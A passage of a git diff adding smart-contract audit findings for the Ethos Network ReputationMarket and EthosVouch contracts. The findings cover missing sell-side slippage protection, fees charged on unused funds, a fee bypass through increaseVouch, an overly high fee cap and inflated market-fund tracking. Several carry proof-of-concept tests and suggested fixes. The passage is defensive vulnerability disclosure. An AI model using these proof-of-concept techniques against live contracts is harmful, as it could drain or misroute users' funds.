withdraw more funds (like the above example) + +### Impact + +Inflated market fund balances that leads to the contract believe it has more available funds than it actaully does that leads to- +Cross-market fund drainage(will happen during withdrawals) +Can revert(if not enough liquidity) and lock funds in the contract +Loss of funds for later withdrawing markets + +### PoC + +_No response_ + +### Mitigation +When updating marketfunds only add the actual funds that remain after deducting both protocol fees and donations. + diff --git a/405.md b/405.md new file mode 100644 index 0000000..30be152 --- /dev/null +++ b/405.md @@ -0,0 +1,84 @@ +Hollow Coal Zebra + +Medium + +# No Maximum Price Slippage Protection in Sell Votes + +### Summary + +The `sellVotes()` function lacks a mechanism to specify minimum received amount, unlike `buyVotes` which has slippage protection. This could lead to sellers receiving significantly less ETH than expected due to price movements. + +### Root Cause + +In `buyVotes`, there's slippage protection: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L461 + +```solidity +function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints // Allows user to set maximum slippage +) public payable { + // ... + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); +} +``` +However, `sellVotes` has no such protection: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount +) public { + // ... + (uint256 votesSold, uint256 fundsReceived, ...) = _calculateSell(...); + + // No check for minimum received funds + _sendEth(fundsReceived); +} +``` + +Each vote sale progressively gets a lower price in `_calculateSell`: + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1031-L1040 + +```solidity +while (votesSold < amount) { + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); // Price decreases with each sale + fundsReceived += votePrice; + votesSold++; +} +``` + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Price could drop significantly between transaction submission and execution & users might receive much less ETH than expected for their votes. + + +### PoC + +_No response_ + +### Mitigation + +Implement a slippage protection on `sellVotes()` \ No newline at end of file diff --git a/406.md b/406.md new file mode 100644 index 0000000..accc922 --- /dev/null +++ b/406.md @@ -0,0 +1,332 @@ +Passive Tawny Sheep + +Medium + +# The buyVotes function charge fees for votes that the user didn't buy + +### Summary + +The function`buyVotes:442` charge fees for all the msg.value before calculating the used funds to buy votes meaning that the protocol will charge fees even with the rest of the Eth amount event if it's not used. + +### Root Cause + +In the `buyVotes` function the `_calculateBuy` function is called with the msg.value as argument as we can see here : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L459 +The function charge fees directly before calculating the amount to use as we can see here : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L960 +This means that fees will be charged even for funds that are not used in the purchase transaction. The user could, for the same votes purchased, pay more fees, which is unfair, the protocol should charge a fee corresponding to the amount purchased by the user. + +### Internal pre-conditions + +none. + +### External pre-conditions + +none. + +### Attack Path + +_No response_ + +### Impact + +The user can potentially pay more fees than he should or get less votes that he can expect. + +### PoC + +In order to run this POC you will to add foundry to the project by follow simple steps : +1. run `npm install --save-dev @nomicfoundation/hardhat-foundry` +2. add in the hadhat config `import "@nomicfoundation/hardhat-foundry";` +3. run `npx hardhat init-foundry` +4. create a remappings.txt file in the contracts folder and add those lines : +```solidity +@openzeppelin/contracts/=node_modules/@openzeppelin/contracts/ +@openzeppelin/contracts-upgradeable/=node_modules/@openzeppelin/contracts-upgradeable/ +``` +5. Move the node_modules folder in the contracts folder. + +Now you can copy paste this code in the test folder and run `forge test --mt test_simulateBuyPOC --via-ir` +```solidity +// SPDX-License-Identifier: GPL-2.0 +pragma solidity ^0.8.0; + +import {Test, console2} from "forge-std/Test.sol"; + +import {EthosVouch} from "contracts/EthosVouch.sol"; +import {ReputationMarket} from "contracts/ReputationMarket.sol"; +import {EthosAttestation} from "contracts/EthosAttestation.sol"; +import {EthosProfile} from "contracts/EthosProfile.sol"; +import {ContractAddressManager} from "contracts/utils/ContractAddressManager.sol"; +import {SignatureVerifier} from "contracts/utils/SignatureVerifier.sol"; +import {InteractionControl} from "contracts/utils/InteractionControl.sol"; +import {EthosReview} from "contracts/EthosReview.sol"; +import {EthosVote} from "contracts/EthosVote.sol"; +import {RejectETHReceiver} from "contracts/mocks/RejectETH.sol"; +import {PaymentToken} from "contracts/mocks/PaymentToken.sol"; +import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; + +contract CodedPOC is Test { + event LogBytes32(string message, bytes32 value); + event LogBytes(string message, bytes value); + event LogUint256(string message, uint256 value); + event LogUint256Array(string message, uint256[] value); + event LogAddressArray(string message, address[] value); + event LogAddress(string message, address value); + event LogBool(string message, bool value); + + EthosVouch ethosVouch; + ContractAddressManager contractAddressManager; + ReputationMarket reputationMarket; + SignatureVerifier signatureVerifier; + InteractionControl interactionControl; + EthosAttestation ethosAttestation; + EthosProfile ethosProfile; + EthosReview ethosReview; + EthosVote ethosVote; + RejectETHReceiver rejectETHReceiver; + address constant BOB = address(0x10000); + address constant ALICE = address(0x20000); + address constant CHARLIE = address(0x30000); + address constant OWNER = address(0x40000); + address constant ADMIN = address(0x50000); + address constant expectedSigner = address(0x60000); + address constant feeProtocolAddr = address(0x70000); + address constant proxyAdmin = address(0x80000); + address constant slashing = address(0x80000); + address constant graduateAddress = address(0x90000); + + address sender; + address[] internal users; + + string constant attestation = "ETHOS_ATTESTATION"; + string constant contractAddressManagerName = "ETHOS_CONTRACT_ADDRESS_MANAGER"; + string constant discussion = "ETHOS_DISCUSSION"; + string constant interactionControlName = "ETHOS_INTERACTION_CONTROL"; + string constant profil = "ETHOS_PROFILE"; + string constant reputationMarketName = "ETHOS_REPUTATION_MARKET"; + string constant review = "ETHOS_REVIEW"; + string constant signatureVerifierName = "ETHOS_SIGNATURE_VERIFIER"; + string constant vote = "ETHOS_VOTE"; + string constant vouch = "ETHOS_VOUCH"; + string constant vaultManager = "ETHOS_VAULT_MANAGER"; + string constant slashPenalty = "ETHOS_SLASH_PENALTY"; + string constant slasher = "SLASHER"; + string constant graduate = "GRADUATION_WITHDRAWAL"; + uint256 constant MAX_ETH = 100e18; + PaymentToken paymentToken1; + PaymentToken paymentToken2; + uint256[] vouchIds; + uint256[] vouchIdsActive; + uint256[] vouchIdsArchived; + uint256[] marketIds; + uint256[] marketIdsActive; + uint256[] marketIdsGraduated; + uint256 subjectId; + uint256 totalDepositVouch; + mapping(address => uint256) profilIdBySender; + uint256 constant TRUST = 1; + uint256 constant DISTRUST = 0; + + function setUp() public { + vm.warp(1524785992); + vm.roll(4370000); + users = [BOB, ALICE, CHARLIE]; + contractAddressManager = new ContractAddressManager(); + signatureVerifier = new SignatureVerifier(); + interactionControl = new InteractionControl(OWNER, address(contractAddressManager)); + + EthosAttestation ethosAttestationimpl = new EthosAttestation(); + TransparentUpgradeableProxy ethosAttestationProxy = + new TransparentUpgradeableProxy(address(ethosAttestationimpl), proxyAdmin, ""); + ethosAttestation = EthosAttestation(address(ethosAttestationProxy)); + ethosAttestation.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosProfile ethosProfileimpl = new EthosProfile(); + TransparentUpgradeableProxy ethosProfileProxy = + new TransparentUpgradeableProxy(address(ethosProfileimpl), proxyAdmin, ""); + ethosProfile = EthosProfile(address(ethosProfileProxy)); + ethosProfile.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosReview ethosReviewimpl = new EthosReview(); + TransparentUpgradeableProxy ethosReviewProxy = + new TransparentUpgradeableProxy(address(ethosReviewimpl), proxyAdmin, ""); + ethosReview = EthosReview(address(ethosReviewProxy)); + ethosReview.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosVote ethosVoteimpl = new EthosVote(); + TransparentUpgradeableProxy ethosVoteProxy = + new TransparentUpgradeableProxy(address(ethosVoteimpl), proxyAdmin, ""); + ethosVote = EthosVote(address(ethosVoteProxy)); + ethosVote.initialize(OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager)); + EthosVouch ethosVouchimpl = new EthosVouch(); + TransparentUpgradeableProxy ethosVouchProxy = + new TransparentUpgradeableProxy(address(ethosVouchimpl), proxyAdmin, ""); + ethosVouch = EthosVouch(address(ethosVouchProxy)); + ethosVouch.initialize( + OWNER, + ADMIN, + expectedSigner, + address(signatureVerifier), + address(contractAddressManager), + feeProtocolAddr, + 0, + 0, + 500, + 0 + ); + rejectETHReceiver = new RejectETHReceiver(); + address[] memory addresses = new address[](8); + addresses[0] = address(ethosAttestation); + addresses[1] = address(ethosProfile); + addresses[2] = address(ethosReview); + addresses[3] = address(ethosVote); + addresses[4] = address(ethosVouch); + addresses[5] = address(interactionControl); + addresses[6] = address(slashing); + addresses[7] = address(graduateAddress); + string[] memory names = new string[](8); + names[0] = attestation; + names[1] = profil; + names[2] = review; + names[3] = vote; + names[4] = vouch; + names[5] = interactionControlName; + names[6] = slasher; + names[7] = graduate; + contractAddressManager.updateContractAddressesForNames(addresses, names); + string[] memory namesInteraction = new string[](5); + namesInteraction[0] = attestation; + namesInteraction[1] = profil; + namesInteraction[2] = review; + namesInteraction[3] = vote; + namesInteraction[4] = vouch; + vm.prank(OWNER); + interactionControl.addControlledContractNames(namesInteraction); + paymentToken1 = new PaymentToken("PAYMENT TOKEN NAME 1", "PTN 1"); + paymentToken2 = new PaymentToken("PAYMENT TOKEN NAME 2", "PTN 2"); + for (uint256 i = 0; i < users.length; i++) { + paymentToken1.mint(users[i], 1_000_000e18); + paymentToken2.mint(users[i], 1_000_000e18); + vm.prank(OWNER); + ethosProfile.inviteAddress(users[i]); + vm.prank(users[i]); + paymentToken1.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + paymentToken2.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + ethosProfile.createProfile(1); + vm.deal(address(users[i]), 100_000_000e18); + } + ReputationMarket reputationMarketimpl = new ReputationMarket(); + TransparentUpgradeableProxy reputationMarketProxy = + new TransparentUpgradeableProxy(address(reputationMarketimpl), proxyAdmin, ""); + reputationMarket = ReputationMarket(address(reputationMarketProxy)); + reputationMarket.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + profilIdBySender[BOB] = ethosProfile.profileIdByAddress(BOB); + profilIdBySender[ALICE] = ethosProfile.profileIdByAddress(ALICE); + profilIdBySender[CHARLIE] = ethosProfile.profileIdByAddress(CHARLIE); + subjectId = profilIdBySender[BOB]; + vm.label(BOB, "BOB"); + vm.label(ALICE, "ALICE"); + vm.label(CHARLIE, "CHARLIE"); + vm.label(OWNER, "OWNER"); + vm.label(ADMIN, "ADMIN"); + vm.label(expectedSigner, "expectedSigner"); + vm.label(feeProtocolAddr, "feeProtocolAddr"); + vm.label(slashing, "slashing"); + vm.label(graduateAddress, "graduateAddress"); + vm.label(address(ethosAttestation), "ethosAttestation"); + vm.label(address(ethosProfile), "ethosProfile"); + vm.label(address(ethosReview), "ethosReview"); + vm.label(address(ethosVote), "ethosVote"); + vm.label(address(ethosVouch), "ethosVouch"); + vm.label(address(interactionControl), "interactionControl"); + vm.label(address(reputationMarket), "reputationMarket"); + vm.label(address(contractAddressManager), "contractAddressManager"); + vm.label(address(signatureVerifier), "signatureVerifier"); + vm.label(address(rejectETHReceiver), "rejectETHReceiver"); + vm.label(address(paymentToken1), "paymentToken1"); + vm.label(address(paymentToken2), "paymentToken2"); + vm.prank(ADMIN); + reputationMarket.setAllowListEnforcement(false); + vm.prank(ADMIN); + reputationMarket.setProtocolFeeAddress(feeProtocolAddr); + } + function test_simulateBuyPOC() public { + // we start by set the entry protocol fee to 5% basis points + vm.prank(ADMIN); + reputationMarket.setEntryProtocolFeeBasisPoints(500); + //Bob create a premium tier market + vm.prank(BOB); + reputationMarket.createMarketWithConfig{value: 1000000000000000000}(2); + //We use the simulateBuy function to simulate the purchase with 5 ether + ( uint256 votesBought1,,,uint256 protocolFees1,,,) = reputationMarket.simulateBuy(2, false, 5 ether); + //We use the simulateBuy function to simulate the purchase with 5.001 ether + ( uint256 votesBought2,,,uint256 protocolFees2,,,) = reputationMarket.simulateBuy(2, false, 5.001 ether); + //we receive the same amount of votes + assertEq(votesBought1,votesBought2, ""); + //But we paid a highest fee which make no sense and is unfair + assertGt(protocolFees2,protocolFees1, ""); + } +} +``` +You should have this output meaning that the user paid more fees with the same votes: +```solidity +[PASS] test_simulateBuyPOC() (gas: 1929917) +``` + +### Mitigation + +The protocol should compute the fees after using it for the vote amount : + +```solidity +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable = funds; + + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + (fundsPaid, protocolFee, donation) = previewFees(fundsPaid, true); + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } + +``` \ No newline at end of file diff --git a/407.md b/407.md new file mode 100644 index 0000000..1519244 --- /dev/null +++ b/407.md @@ -0,0 +1,199 @@ +Brisk Gingham Robin + +Medium + +# Author can bypass some fees by calling vouch and then increaseVouch. + +### Summary + +Whenever an author vouches for a `profileId` , a certain amount of fees is given to previous vouchers as reward. The same thing happens when author calls increaseVouch. +But whenever an author calls increaseVouch then they also gets a part of fees as reward since they are also a part of previous vouchers. + +That means an author can get a part of fees during the process and can thereby avoid paying more fees. + +### Root Cause + +Let's take a look on these 2 functions +1. vouchByProfileId +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L415 + +2. increaseVouch +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444 + + +Both these functions have one function in commons which is `applyFees` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965 + +Inside of this function we have `_rewardPreviousVouchers` that takes a fee cut from the amount given by author through these 2 functions and provide that to previous vouchers. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L739 + +The amount of reward that will go to previous vouchers is based on this formula + +```Solidity +reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); +``` +Where vouch.balance is the amount that was vouched by previous vouched and totalBalance is sum of all vouch.balance of all vouchers. +We can simplify this with a formula +reward = ( amount * balance ) / totalBalance + +Same thing happens when `increaseVouch` is called. But during this process, the author who is calling this function is also a part of previous vouchers because in order to increase your vouch , you need to be a voucher in first place. That means a part of reward will also goes to the caller of `increaseVouch` + +This also means that calling `vouchByProfileId` with a certain amount will result in more fees given than calling `vouchByProfileId` with a relatively small amount and then calling `increaseVouch` with remaining amount because the caller will also be able to get a part of that fees. + +In short `_rewardPreviousVouchers will also consider the current caller of increaseVouch as a part of previous voucher and will give some reward to the caller's balance` + +The amount of money an author will avoid will depend upon + vouchAmount paid relative to other vouchers : If an author is about to vouch an amount that is higher than others then it's better to vouch for amount relatively equal to others ( to get a good amount of rewards ) and then increaseVouch. for example , vouches are for 10 ether and author need to vouch for 50 ether. + +Suppose we have 3 authors and author3 needs to vouch for 50 ether while other author has a vouch for 10 ether. +then + +Case1 : author vouch for 50 ether +final balance : [10.4 , 9.8 , 45.6 ] // In POC + +Case2 : author vouch for 10 ether and then increase vouch for 40 +final balance : [10.2, 9.6, 46 ] // In POC + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. author needs to vouch on a profile id with some ether. +2. Instead of calling `vouchByProfileId` with that entire amount, the author first calls `vouchByProfileId` with a small amount and then calls `increaseVouch` with the rest of the amount. +This way, author was able to save some fees by getting a share of fees that was intended to be given for previous vouchers. + +### Impact + +The author was able to get a share of reward that was intended to be given to previous vouchers thereby saving some fees. + +In order for this to be medium it should hold true for these statements : +> 1. Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss must be relevant to the affected party. +> 2. Users lose more than 0.01% and more than $10 of their yield. +> 3. The protocol loses more than 0.01% and more than $10 of the fees. + +Bypassing any amount of fees should be considered a valid medium since the amount is more than 0.01% of the fees. + +### PoC + +Since I have made some certain changes in the setup , I am providing the changed contract in the gist below. + +https://gist.github.com/Pheonix244001/30979314020247f92d00228e14b1422d + + +There are 2 things that I have done in the contract to make the poc easier to run without any setup +1. remove upgrade logic +2. remove profile fetching and added 2 function at the last that will fetch the profile instead. This way, I don't have to rely on ContractAddressManager.sol and EthosProfile.sol to fetch profile id. + +Also, here is the link for diffchecker where I have added original contract and changed contract : +https://www.diffchecker.com/gX9cG5vB/ ( EthosVouch.sol ) +https://www.diffchecker.com/bsikUUKp/ ( AccessControl.sol , removed onlyInitializing modif ) +https://www.diffchecker.com/sAMg0Pg0/ ( SignatureControl.sol , commented update signature func ) + +Here's the final poc +```Solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import "../src/ReputationMarket.sol"; +import "../src/EthosVouch.sol"; +import "forge-std/Test.sol"; + + +contract MyTest is Test { + EthosVouch public ethosvouch; + + address payable author1 = payable(address(0x123)); + address payable author2 = payable(address(0x111)); + address payable author3 = payable(address(0x222)); + address payable subject1 = payable(address(0x333)); + address payable subject2 = payable(address(0x444)); + address payable subject3 = payable(address(0x555)); + + address owner = address(0x234); + address admin = address(0x345); + address signer = address(0x456); + address signatureverifier = address(0x567); + address addressmanager = address(0x678); + address protocolfeeaddress = address(0x789); + + function setUp() public { + ethosvouch = new EthosVouch(); + ethosvouch.initialize(owner, admin, signer, signatureverifier, addressmanager, protocolfeeaddress, + 300, 300, 300, 300); + + // authorids are 10 , 20 and 30 + // subject id are 110, 120 and 130 + vm.prank(author1); + ethosvouch.addAuthor(10); + vm.prank(author2); + ethosvouch.addAuthor(20); + vm.prank(author3); + ethosvouch.addAuthor(30); + vm.prank(subject1); + ethosvouch.addSubject(110); + vm.prank(subject2); + ethosvouch.addSubject(120); + vm.prank(subject3); + ethosvouch.addSubject(130); + + // give some ether to each author + vm.deal(author1, 10000 ether); + vm.deal(author2, 10000 ether); + vm.deal(author3, 10000 ether); + + } + + function testVouchComplete() public { + // author 1, 2 will vouch for 10 ether and author3 will vouch for 50 ether + vm.prank(author1); + ethosvouch.vouchByProfileId {value: 10 ether}(110, "", ""); + + vm.prank(author2); + ethosvouch.vouchByProfileId {value: 10 ether}(110, "", ""); + + vm.prank(author3); + ethosvouch.vouchByProfileId {value: 50 ether}(110, "", ""); + + // check how much author1 , author2 and author 3 got now + ethosvouch.vouches(0); // 10.2 ether + ethosvouch.vouches(1); // 9.6 ether + ethosvouch.vouches(2); //46 ether + } + + function testVouchAndIncrease() public { + // author1, 2 and 3 will vouch for 10 ether and then author3 will increase vouch by 40 ether + vm.prank(author1); + ethosvouch.vouchByProfileId {value: 10 ether}(110, "", ""); + + vm.prank(author2); + ethosvouch.vouchByProfileId {value: 10 ether}(110, "", ""); + + vm.prank(author3); + ethosvouch.vouchByProfileId {value: 10 ether}(110, "", ""); + + vm.prank(author3); + ethosvouch.increaseVouch {value: 40 ether}(2); + + // check how much author1 , author2 and author 3 got now + ethosvouch.vouches(0); // 10.4 ether + ethosvouch.vouches(1); // 9.8 ether + ethosvouch.vouches(2); //45.6 ether + } + +} +``` +If you run these test by typing `forge test -vvvvv` and check balance value of ethosvouch.vouches() , you will see all the differences of balance. The values are also written as comments above. + +As you can see, author3 was able to save 0.4 ether in this poc by vouching for 10 ether and then increasing it by 40 instead of vouching for 50 at the start. + + +### Mitigation + +Do not consider msg.sender as a part of previous voucher when they are calling `increaseVouch` \ No newline at end of file diff --git a/408.md b/408.md new file mode 100644 index 0000000..a55540b --- /dev/null +++ b/408.md @@ -0,0 +1,42 @@ +Quick Peach Flamingo + +Medium + +# No slippage protection on selling votes + +### Summary + +There is no slippage protection in `ReputationMarket.sol:495` which will makes it prone to sandwich attacks and can cause loss of funds for users trying to sell their votes. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 + +### Root Cause + +The `sellVotes` function located in `ReputationMarket.sol:495` misses to implement slippage protection. This means that it can be targeted by malicious actors and a sandwich attack can occur. What is more, a simple price movement may cause loss of funds for users. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User A calls `sellVotes`. +2. Malicious user front-runs the call to `sellVotes` causing a price movement. +3. Malicious user back-runs the call to `sellVotes` gaining value while user A loses. + + +### Impact + +The user loses while selling votes. + +### PoC + +_No response_ + +### Mitigation + +There is a slippage protection already implemented in the `buyVotes` function. A similar approach should be used to fix this issue. \ No newline at end of file diff --git a/409.md b/409.md new file mode 100644 index 0000000..6767d6f --- /dev/null +++ b/409.md @@ -0,0 +1,102 @@ +Sleepy Eggshell Crane + +Medium + +# Wrong value defined for EthosVouch::MAX_TOTAL_FEES allows protocol to set fees percentage up to 100% breaking 10% maximum fee value invariant + +### Summary + +A wrong value is defined for EthosVouch::MAX_TOTAL_FEES allowing protocol to set fees percentage up to 50% breaking 10% maximum value invariant + + +### Root Cause + +In EthosVouch.sol:20 , the constant variable MAX_TOTAL_FEES is wrongly defined with maximum value as 100% instead of the intended 10% (https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120 ): +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; +``` +This value is later used in checkFeeExceedsMaximum (EthosVouch.sol:996) function: (https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004): +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +@> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +Whenever any protocol fee is changed this function checks that sum of all fees is not more than MAX_TOTAL_FEES , but because MAX_TOTAL_FEES == 10_000 = 100% then it allows that the sum of all fees be up to 100% + +### Internal pre-conditions + +None, EthosVouch contract is deployed + +### External pre-conditions + +Not applicable + +### Attack Path + +EthosVouch contract is deployed +1. Admin sets fee more at 10%, protocol allow this (and breaks invariant maximum fee of 10%) due to wrong value defined for constant value MAX_TOTAL_FEES +2. User calls EthosVouch::vouchByProfileId and his deposit is reduced by more than 10% + +### Impact + +Protocol's fee sum can be set up to 100%, user funds will be reduced by this percentage + +### PoC + +In the following PoC: +1. Admin sets fee to 100% +2. User calls vouchByProfileId with 0.1 ETH and its deposit is reduced by 50% (not 100% due to how fees are calculated in EthosVouch::applyFees) +3. Invariant of max 10% overall fee is bypassed +Save the following code in packages/contracts/test/vouch/vouch.fees.test.ts: +```solidity + it('Protocol fee can be more than 10% (eg 50%)', async () => { + //const newEntryFee = 75n; + const newEntryFee = 10_000n; + + // Set initial entry fee + await feeConfig.entry(deployer); + + // Change entry fee + console.log("[i] Setting newEntryFee ",newEntryFee); + await deployer.ethosVouch.contract + .connect(deployer.ADMIN) + .setEntryProtocolFeeBasisPoints(newEntryFee); + + // Verify the new fee is applied + const { vouchId } = await userA.vouch(userB); + const balance = await userA.getVouchBalance(vouchId); + console.log( + "[i] userA.getVouchBal(vouchId)\t", + await userA.getVouchBalance(vouchId) + ); + const expected = calculateFee(paymentAmount, newEntryFee).deposit; + console.log("[i] paymentAmount\t\t",paymentAmount); + console.log("[i] depositAmount\t\t\t",expected); + + expect(balance).to.equal(expected); + }); +``` +Execute test with: +```bash +NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/vouch/vouch.fees.test.ts +``` +Observe in the logs that max protocol 10% fee is bypassed, and usr eth deposit value is reduced by half +```bash +[i] userA.getVouchBal(vouchId) 50000000000000000n +[i] paymentAmount 100000000000000000n +[i] depositAmount 50000000000000000n +``` + + +### Mitigation + +Modify MAX_TOTAL_FEES to: +```solidity + uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/410.md b/410.md new file mode 100644 index 0000000..dc515e1 --- /dev/null +++ b/410.md @@ -0,0 +1,174 @@ +Cheesy Aegean Squirrel + +High + +# Market Funds Incorrectly Include Protocol and Donation Fees Leading to Fail Withdrawal Graduated Market Funds + +### Summary + +Incorrect market funds tracking in buyVotes will cause withdrawals to revert in graduated markets as marketFunds includes fees that were already distributed, leading to attempted withdrawals of more funds than available in the contract. + +### Root Cause + +In ReputationMarket.sol, the [buyVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) function incorrectly tracks total funds by including fees that are immediately distributed: +```solidity +function buyVotes(...) { + ( + uint256 votesBought, + uint256 fundsPaid, // This includes fees + donation ! + , + uint256 protocolFee, // This is sent to protocol + uint256 donation, // This goes to rewards + ... + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + // Fees are distributed + applyFees(protocolFee, donation, profileId); + + // But full fundsPaid (including distributed fees) is tracked + marketFunds[profileId] += fundsPaid; +} +``` + +this is because the `fundsPaid` returned by [_calculateBuy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) includes protocolFee and donations + +```solidity +function _calculateBuy(...) returns (...) { + // Calculate votes and prices + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + } + + // Incorrectly add fees and donation to fundsPaid +@> fundsPaid += protocolFee + donation; // @audit This is the root issue + return (votesBought, fundsPaid, ...); +} +``` + +The key issue is that _calculateBuy adds the fees to fundsPaid even though these fees don't stay in the market (they're distributed immediately in [applyFees(protocolFee, donation, profileId)](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116-L1127)). Then marketFunds tracks this inflated amount causing withdrawals to attempt to withdraw more funds than actually available. + +Looking at [withdrawGraduatedMarketFunds](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660-L678) + +```solidity +function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + // Only allowed after graduation + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + // Contract has actual_balance = recorded_funds + initial_liquidity - fees_already_distributed - potential claim of donation + // But tries to withdraw recorded_funds (too high) + _sendEth(marketFunds[profileId]); // Will revert here due to insufficient funds + + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; +} +``` + + +### Internal pre-conditions + +1. Market needs to be created with `initialLiquidity` (e.g. 0.02 ETH default config) +2. Protocol fee and donation fee need to be set (combined > 0) +3. Market needs to be graduated using authorized address to enable withdrawal +4. Amount of funds sent out as fees (protocol + donation) must be greater than `initialLiquidity` for withdrawal to fail: + - Example: If initial liquidity is 0.02 ETH + - Then user must buy enough votes so that fees distributed (protocol fee + donation) exceed 0.02 ETH + - With 5% total fees (3% protocol + 2% donation), would need purchase amount > 0.4 ETH to generate 0.02 ETH in fees +5. `marketFunds` tracking incorrectly includes distributed fees +6. Contract must lack sufficient balance to fulfill withdrawal attempt of full tracked amount + +This setup ensures that the amount of fees distributed (and thus missing from contract balance) is significant enough that when withdrawal is attempted for the full tracked amount (which incorrectly includes these fees), the contract won't have sufficient balance to fulfill the request. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +When a market is graduated, withdrawal of funds will fail because marketFunds tracks more ETH than actually available in the contract, as fees were already distributed. This breaks the graduation mechanism and could permanently lock funds. +It will also try to send the funds that the owner of the market haven't claim yet as donation. + +### PoC + +Include this test in rep.graduate.test.ts inside the describe test suit of `Market Funds Tracking` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/test/reputationMarket/rep.graduate.test.ts#L172-L251 + +Compile and test: +1. git clone +2. cd ethos && npm ci +3. cd packages/contracts + +`npm run test:contracts` To run all the tests including the POC + +`NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test --grep "should revert withdrawal due to incorrect funds tracking including fees”` +To run the specific poc + +```typescript + it("should revert withdrawal due to incorrect funds 